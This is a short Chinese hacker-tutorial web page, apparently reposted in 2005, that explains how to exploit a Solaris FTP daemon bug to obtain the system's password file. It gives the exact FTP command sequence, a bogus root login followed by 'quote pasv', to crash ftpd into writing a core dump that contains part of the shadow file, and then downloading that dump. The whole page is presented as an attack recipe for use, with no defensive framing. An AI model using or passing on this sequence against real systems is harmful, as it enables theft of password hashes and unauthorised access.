当前位置:早雪网网络学院黑客攻防黑客入门 → 用FTP获得密码

用FTP获得密码

减小字体 增大字体 作者:未知  来源:从互联网收集整理并转载  发布时间:2005-2-19 0:00:15
该方法利用了Solaris 操作系统中FTPD的一个BUG,使得用户可以获得该机的口令文件。具体过程如下: 


1.通过 ftp 正常登录到目的主机上 

2.输入如下命令序列: 

ftp> user root wrongpasswd 

ftp> quote pasv 

3.这时,ftpd会报错退出,同时会在当前目录下生成一个core,口令文件就包含在这个core中。 

4.再次进入FTP >get core 

补充:虽然在core只有一部分shadow,但是对于系统来说已经是致命的打击了 

这是我知道的一个方法~ 

拿来丢人了啊~

[数据载入中...] [返回上一页] [打 印]